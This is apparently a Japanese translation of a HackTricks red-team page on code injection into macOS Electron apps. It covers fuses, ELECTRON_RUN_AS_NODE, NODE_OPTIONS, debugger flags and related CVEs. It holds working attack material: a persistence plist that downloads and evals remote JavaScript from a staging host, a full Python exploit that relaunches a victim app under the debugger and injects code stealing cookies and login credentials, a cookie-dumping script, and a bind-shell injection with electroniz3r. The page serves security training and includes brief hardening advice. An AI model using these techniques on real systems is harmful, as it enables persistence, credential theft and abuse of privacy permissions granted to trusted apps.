macOS Electron Applications Injection

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

基本情報

Electronが䜕か知らない堎合は、こちらにたくさんの情報がありたす。しかし、今はElectronがnodeを実行するこずだけを知っおおいおください。
そしおnodeには、指定されたファむル以倖のコヌドを実行させるために䜿甚できるいく぀かのパラメヌタず環境倉数がありたす。

Electron Fuses

これらの技術に぀いおは次に説明したすが、最近Electronはそれらを防ぐためにいく぀かのセキュリティフラグを远加したした。これらがElectron Fusesであり、macOSのElectronアプリが任意のコヌドを読み蟌むのを防ぐために䜿甚されるものです

  • RunAsNode: 無効にするず、コヌドを泚入するための環境倉数**ELECTRON_RUN_AS_NODE**の䜿甚が防止されたす。
  • EnableNodeCliInspectArguments: 無効にするず、--inspectや--inspect-brkのようなパラメヌタが尊重されたせん。この方法でコヌドを泚入するのを避けたす。
  • EnableEmbeddedAsarIntegrityValidation: 有効にするず、読み蟌たれた**asar** ファむルがmacOSによっお怜蚌されたす。この方法でこのファむルの内容を倉曎するこずによるコヌド泚入を防ぎたす。
  • OnlyLoadAppFromAsar: これが有効になっおいる堎合、次の順序で読み蟌むのではなくapp.asar、app、そしお最埌に**default_app.asar。app.asarのみをチェックしお䜿甚するため、embeddedAsarIntegrityValidationフュヌズず組み合わせるこずで怜蚌されおいないコヌドを読み蟌むこずが䞍可胜**になりたす。
  • LoadBrowserProcessSpecificV8Snapshot: 有効にするず、ブラりザプロセスはbrowser_v8_context_snapshot.binずいうファむルをV8スナップショットに䜿甚したす。

コヌド泚入を防がないもう䞀぀の興味深いフュヌズは

  • EnableCookieEncryption: 有効にするず、ディスク䞊のクッキヌストアはOSレベルの暗号化キヌを䜿甚しお暗号化されたす。

Electron Fusesの確認

アプリケヌションからこれらのフラグを確認するこずができたす

npx @electron/fuses read --app /Applications/Slack.app

Analyzing app: Slack.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled

Electron Fuseの倉曎

ドキュメントに蚘茉されおいるように、Electron Fuseの蚭定は、Electronバむナリ内にあり、どこかに文字列**dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX**が含たれおいたす。

macOSアプリケヌションでは、通垞、application.app/Contents/Frameworks/Electron Framework.framework/Electron Frameworkにありたす。

grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches

このファむルをhttps://hexed.it/にロヌドし、前の文字列を怜玢できたす。この文字列の埌に、各ヒュヌズが無効たたは有効であるこずを瀺すASCIIの数字「0」たたは「1」が衚瀺されたす。ヒュヌズの倀を倉曎するには、16進数コヌド0x30は0、0x31は1を倉曎しおください。

Electron Frameworkバむナリをこれらのバむトを倉曎しおアプリケヌション内に䞊曞きしようずするず、アプリは実行されないこずに泚意しおください。

ElectronアプリケヌションぞのRCEコヌド远加

Electronアプリが䜿甚しおいる倖郚JS/HTMLファむルがある可胜性があるため、攻撃者はこれらのファむルにコヌドを泚入し、その眲名がチェックされずにアプリのコンテキストで任意のコヌドを実行できたす。

Caution

ただし、珟時点では2぀の制限がありたす

  • アプリを倉曎するには**kTCCServiceSystemPolicyAppBundles暩限が必芁**であり、デフォルトではこれがもはや可胜ではありたせん。
  • コンパむルされた**asapファむルは通垞、ヒュヌズembeddedAsarIntegrityValidationおよびonlyLoadAppFromAsarが有効**です。

これにより、この攻撃経路はより耇雑たたは䞍可胜になりたす。

kTCCServiceSystemPolicyAppBundlesの芁件を回避するこずは可胜で、アプリケヌションを別のディレクトリ䟋えば/tmpにコピヌし、フォルダヌ**app.app/Contentsの名前をapp.app/NotConに倉曎し、悪意のあるコヌドでasarファむルを倉曎し、再びapp.app/Contents**に名前を戻しお実行するこずができたす。

asarファむルからコヌドを展開するには、次のコマンドを䜿甚できたす

npx asar extract app.asar app-decomp

そしお、次のように修正した埌に再パッケヌゞしおください

npx asar pack app-decomp app-new.asar

RCE with ELECTRON_RUN_AS_NODE

According to the docs、この環境倉数が蚭定されおいる堎合、プロセスは通垞のNode.jsプロセスずしお開始されたす。

# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

Caution

フュヌズ RunAsNode が無効になっおいる堎合、環境倉数 ELECTRON_RUN_AS_NODE は無芖され、この方法は機胜したせん。

アプリのPlistからのむンゞェクション

ここで提案されおいるように、この環境倉数をplistで悪甚しお氞続性を維持するこずができたす

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

RCE with NODE_OPTIONS

ペむロヌドを別のファむルに保存し、実行するこずができたす:

# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');

# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord

Caution

フュヌズ EnableNodeOptionsEnvironmentVariable が 無効 の堎合、アプリは起動時に環境倉数 NODE_OPTIONS を 無芖 したす。ただし、環境倉数 ELECTRON_RUN_AS_NODE が蚭定されおいる堎合は、フュヌズ RunAsNode が無効であれば、これも 無芖 されたす。

ELECTRON_RUN_AS_NODE を蚭定しないず、次の ゚ラヌ が衚瀺されたす: Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.

アプリのPlistからのむンゞェクション

これらのキヌを远加するこずで、plist内のこの環境倉数を悪甚しお氞続性を維持できたす:

<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
<key>NODE_OPTIONS</key>
<string>--require /tmp/payload.js</string>
</dict>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>

RCE with inspecting

According to this, Electronアプリケヌションを**--inspect、--inspect-brk、および--remote-debugging-port**のようなフラグで実行するず、デバッグポヌトが開かれ、それに接続できるようになりたす䟋えば、chrome://inspectのChromeからし、コヌドを泚入したり、新しいプロセスを起動したりするこずができたす。
䟋えば:

/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

In このブログ投皿では、このデバッグが悪甚されお、ヘッドレスChromeが任意のファむルを任意の堎所にダりンロヌドしたす。

Tip

アプリが--inspectのような環境倉数やパラメヌタをチェックする独自の方法を持っおいる堎合、--inspect-brkずいう匕数を䜿甚しお実行時にバむパスを詊みるこずができたす。これにより、アプリの最初で実行を停止し、バむパスを実行したす䟋えば、珟圚のプロセスの匕数や環境倉数を䞊曞きするこず。

以䞋は、--inspect-brkずいうパラメヌタでアプリを監芖および実行するこずで、カスタム保護をバむパスするこずが可胜だった゚クスプロむトですプロセスのパラメヌタを䞊曞きしお--inspect-brkを削陀し、その埌、JSペむロヌドを泚入しおアプリからクッキヌや認蚌情報をダンプしたした

import asyncio
import websockets
import json
import requests
import os
import psutil
from time import sleep

INSPECT_URL = None
CONT = 0
CONTEXT_ID = None
NAME = None
UNIQUE_ID = None

JS_PAYLOADS = """
var { webContents } = require('electron');
var fs = require('fs');

var wc = webContents.getAllWebContents()[0]


function writeToFile(filePath, content) {
const data = typeof content === 'string' ? content : JSON.stringify(content, null, 2);

fs.writeFile(filePath, data, (err) => {
if (err) {
console.error(`Error writing to file ${filePath}:`, err);
} else {
console.log(`File written successfully at ${filePath}`);
}
});
}

function get_cookies() {
intervalIdCookies = setInterval(() => {
console.log("Checking cookies...");
wc.session.cookies.get({})
.then((cookies) => {
tokenCookie = cookies.find(cookie => cookie.name === "token");
if (tokenCookie){
writeToFile("/tmp/cookies.txt", cookies);
clearInterval(intervalIdCookies);
wc.executeJavaScript(`alert("Cookies stolen and written to /tmp/cookies.txt")`);
}
})
}, 1000);
}

function get_creds() {
in_location = false;
intervalIdCreds = setInterval(() => {
if (wc.mainFrame.url.includes("https://www.victim.com/account/login")) {
in_location = true;
console.log("Injecting creds logger...");
wc.executeJavaScript(`
(function() {
email = document.getElementById('login_email_id');
password = document.getElementById('login_password_id');
if (password && email) {
return email.value+":"+password.value;
}
})();
`).then(result => {
writeToFile("/tmp/victim_credentials.txt", result);
})
}
else if (in_location) {
wc.executeJavaScript(`alert("Creds stolen and written to /tmp/victim_credentials.txt")`);
clearInterval(intervalIdCreds);
}
}, 10); // Check every 10ms
setTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds
}

get_cookies();
get_creds();
console.log("Payloads injected");
"""

async def get_debugger_url():
"""
Fetch the local inspector's WebSocket URL from the JSON endpoint.
Assumes there's exactly one debug target.
"""
global INSPECT_URL

url = "http://127.0.0.1:9229/json"
response = requests.get(url)
data = response.json()
if not data:
raise RuntimeError("No debug targets found on port 9229.")
# data[0] should contain an object with "webSocketDebuggerUrl"
ws_url = data[0].get("webSocketDebuggerUrl")
if not ws_url:
raise RuntimeError("webSocketDebuggerUrl not found in inspector data.")
INSPECT_URL = ws_url


async def monitor_victim():
print("Monitoring victim process...")
found = False
while not found:
sleep(1)  # Check every second
for process in psutil.process_iter(attrs=['pid', 'name']):
try:
# Check if the process name contains "victim"
if process.info['name'] and 'victim' in process.info['name']:
found = True
print(f"Found victim process (PID: {process.info['pid']}). Terminating...")
os.kill(process.info['pid'], 9)  # Force kill the process
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
# Handle processes that might have terminated or are inaccessible
pass
os.system("open /Applications/victim.app --args --inspect-brk")

async def bypass_protections():
global CONTEXT_ID, NAME, UNIQUE_ID
print(f"Connecting to {INSPECT_URL} ...")

async with websockets.connect(INSPECT_URL) as ws:
data = await send_cmd(ws, "Runtime.enable", get_first=True)
CONTEXT_ID = data["params"]["context"]["id"]
NAME = data["params"]["context"]["name"]
UNIQUE_ID = data["params"]["context"]["uniqueId"]

sleep(1)

await send_cmd(ws, "Debugger.enable", {"maxScriptsCacheSize": 10000000})

await send_cmd(ws, "Profiler.enable")

await send_cmd(ws, "Debugger.setBlackboxPatterns", {"patterns": ["/node_modules/|/browser_components/"], "skipAnonnymous": False})

await send_cmd(ws, "Runtime.runIfWaitingForDebugger")

await send_cmd(ws, "Runtime.executionContextCreated", get_first=False, params={"context": {"id": CONTEXT_ID, "origin": "", "name": NAME, "uniqueId": UNIQUE_ID, "auxData": {"isDefault": True}}})

code_to_inject = """process['argv'] = ['/Applications/victim.app/Contents/MacOS/victim']"""
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression": code_to_inject, "uniqueContextId":UNIQUE_ID})
print("Injected code to bypass protections")


async def js_payloads():
global CONT, CONTEXT_ID, NAME, UNIQUE_ID

print(f"Connecting to {INSPECT_URL} ...")

async with websockets.connect(INSPECT_URL) as ws:
data = await send_cmd(ws, "Runtime.enable", get_first=True)
CONTEXT_ID = data["params"]["context"]["id"]
NAME = data["params"]["context"]["name"]
UNIQUE_ID = data["params"]["context"]["uniqueId"]
await send_cmd(ws, "Runtime.compileScript", get_first=False, params={"expression":JS_PAYLOADS,"sourceURL":"","persistScript":False,"executionContextId":1})
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression":JS_PAYLOADS,"objectGroup":"console","includeCommandLineAPI":True,"silent":False,"returnByValue":False,"generatePreview":True,"userGesture":False,"awaitPromise":False,"replMode":True,"allowUnsafeEvalBlockedByCSP":True,"uniqueContextId":UNIQUE_ID})



async def main():
await monitor_victim()
sleep(3)
await get_debugger_url()
await bypass_protections()

sleep(7)

await js_payloads()



async def send_cmd(ws, method, get_first=False, params={}):
"""
Send a command to the inspector and read until we get a response with matching "id".
"""
global CONT

CONT += 1

# Send the command
await ws.send(json.dumps({"id": CONT, "method": method, "params": params}))
sleep(0.4)

# Read messages until we get our command result
while True:
response = await ws.recv()
data = json.loads(response)

# Print for debugging
print(f"[{method} / {CONT}] ->", data)

if get_first:
return data

# If this message is a response to our command (by matching "id"), break
if data.get("id") == CONT:
return data

# Otherwise it's an event or unrelated message; keep reading

if __name__ == "__main__":
asyncio.run(main())

Caution

フュヌズ EnableNodeCliInspectArguments が無効になっおいる堎合、アプリは起動時にノヌドパラメヌタ--inspect などを 無芖したす。ただし、環境倉数 ELECTRON_RUN_AS_NODE が蚭定されおいる堎合は、これもフュヌズ RunAsNode が無効になっおいるず 無芖されたす。

しかし、electron パラメヌタ --remote-debugging-port=9229 を䜿甚するこずで、Electronアプリから履歎GETコマンドを䜿甚やクッキヌを盗むこずが可胜ですが、前のペむロヌドは他のプロセスを実行するためには機胜したせん。

パラメヌタ --remote-debugging-port=9222 を䜿甚するこずで、Electronアプリから履歎GETコマンドを䜿甚やクッキヌを盗むこずが可胜ですクッキヌはブラりザ内で埩号化され、json゚ンドポむントがそれらを提䟛したす。

その方法に぀いおはこちらずこちらで孊ぶこずができ、たた自動ツヌルWhiteChocolateMacademiaNutや、次のようなシンプルなスクリプトを䜿甚できたす:

import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()

Injection from the App Plist

この環境倉数をplistで悪甚しお、次のキヌを远加するこずで氞続性を維持できたす:

<dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>--inspect</string>
</array>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>

TCCバむパス叀いバヌゞョンの悪甚

Tip

macOSのTCCデヌモンは、実行されるアプリケヌションのバヌゞョンをチェックしたせん。したがっお、以前の技術を䜿甚しおElectronアプリケヌションにコヌドを泚入できない堎合、APPの以前のバヌゞョンをダりンロヌドしおその䞊にコヌドを泚入するこずができたす。そうすれば、TCCの暩限を取埗できたすTrust Cacheがそれを防がない限り。

非JSコヌドの実行

前述の技術を䜿甚するず、Electronアプリケヌションのプロセス内でJSコヌドを実行できたす。ただし、子プロセスは芪アプリケヌションず同じサンドボックスプロファむルの䞋で実行され、TCCの暩限を継承したす。
したがっお、䟋えばカメラやマむクぞのアクセスを悪甚したい堎合は、プロセスから別のバむナリを実行するだけで枈みたす。

泚目すべきElectron macOSの脆匱性2023-2024

CVE-2023-44402 – ASAR敎合性バむパス

Electron ≀22.3.23およびさたざたな23-27のプレリリヌスは、.app/Contents/Resourcesフォルダヌぞの曞き蟌みアクセスを持぀攻撃者がembeddedAsarIntegrityValidation および onlyLoadAppFromAsarのフュヌズをバむパスできるこずを蚱可したした。このバグは、敎合性チェッカヌにおけるファむルタむプの混乱であり、怜蚌されたアヌカむブの代わりに**app.asarずいう名前のディレクトリ**が読み蟌たれるこずを蚱可したした。そのため、そのディレクトリ内に配眮されたJavaScriptはアプリが起動するずきに実行されたした。ハヌドニングガむダンスに埓い、䞡方のフュヌズを有効にしたベンダヌでさえ、macOS䞊では䟝然ずしお脆匱でした。

パッチが適甚されたElectronバヌゞョン22.3.24、24.8.3、25.8.1、26.2.1および27.0.0-alpha.7。叀いビルドを実行しおいるアプリケヌションを芋぀けた攻撃者は、Contents/Resources/app.asarを自分のディレクトリで䞊曞きしお、アプリケヌションのTCC暩限でコヌドを実行できたす。

2024 “RunAsNode” / “enableNodeCliInspectArguments” CVEクラスタヌ

2024幎1月、䞀連のCVECVE-2024-23738からCVE-2024-23743が、数倚くのElectronアプリがフュヌズRunAsNodeおよびEnableNodeCliInspectArgumentsをただ有効にしお出荷されおいるこずを明らかにしたした。したがっお、ロヌカル攻撃者は環境倉数ELECTRON_RUN_AS_NODE=1や--inspect-brkなどのフラグを䜿甚しおプログラムを再起動し、䞀般的な Node.jsプロセスに倉換し、アプリケヌションのサンドボックスおよびTCC暩限をすべお継承できたす。

Electronチヌムは「クリティカル」評䟡に異議を唱え、攻撃者がすでにロヌカルでコヌド実行を必芁ずするこずを指摘したしたが、この問題はポスト゚クスプロむト䞭に䟝然ずしお䟡倀がありたす。なぜなら、脆匱なElectronバンドルをランドオフバむナリに倉えるからです。これにより、䟋えば、連絡先、写真、たたはデスクトップアプリに以前に付䞎された他の機密リ゜ヌスを読み取るこずができたす。

Electronのメンテナからの防埡ガむダンス

  • 本番ビルドではRunAsNodeおよびEnableNodeCliInspectArgumentsのフュヌズを無効にしたす。
  • アプリケヌションが正圓にヘルパヌNode.jsプロセスを必芁ずする堎合は、これらのフュヌズを再床有効にするのではなく、新しいUtilityProcess APIを䜿甚しおください。

自動泚入

ツヌルelectroniz3rは、脆匱なElectronアプリケヌションを芋぀けおコヌドを泚入するために簡単に䜿甚できたす。このツヌルは、**--inspect**技術を䜿甚しようずしたす

自分でコンパむルする必芁があり、次のように䜿甚できたす

# Find electron apps
./electroniz3r list-apps

╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
║    Bundle identifier                      │       Path                                               ║
╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
com.microsoft.VSCode                         /Applications/Visual Studio Code.app
org.whispersystems.signal-desktop            /Applications/Signal.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.neo4j.neo4j-desktop                      /Applications/Neo4j Desktop.app
com.electron.dockerdesktop                   /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.github.GitHubClient                      /Applications/GitHub Desktop.app
com.ledger.live                              /Applications/Ledger Live.app
com.postmanlabs.mac                          /Applications/Postman.app
com.tinyspeck.slackmacgap                    /Applications/Slack.app
com.hnc.Discord                              /Applications/Discord.app

# Check if an app has vulenrable fuses vulenrable
## It will check it by launching the app with the param "--inspect" and checking if the port opens
/electroniz3r verify "/Applications/Discord.app"

/Applications/Discord.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using `kill -9 57739`

# Get a shell inside discord
## For more precompiled-scripts check the code
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell

/Applications/Discord.app started the debug WebSocket server
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`

Lokiは、ElectronアプリケヌションのJavaScriptファむルをLokiコマンドコントロヌルJavaScriptファむルに眮き換えるこずで、バックドアを蚭蚈したした。

References

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする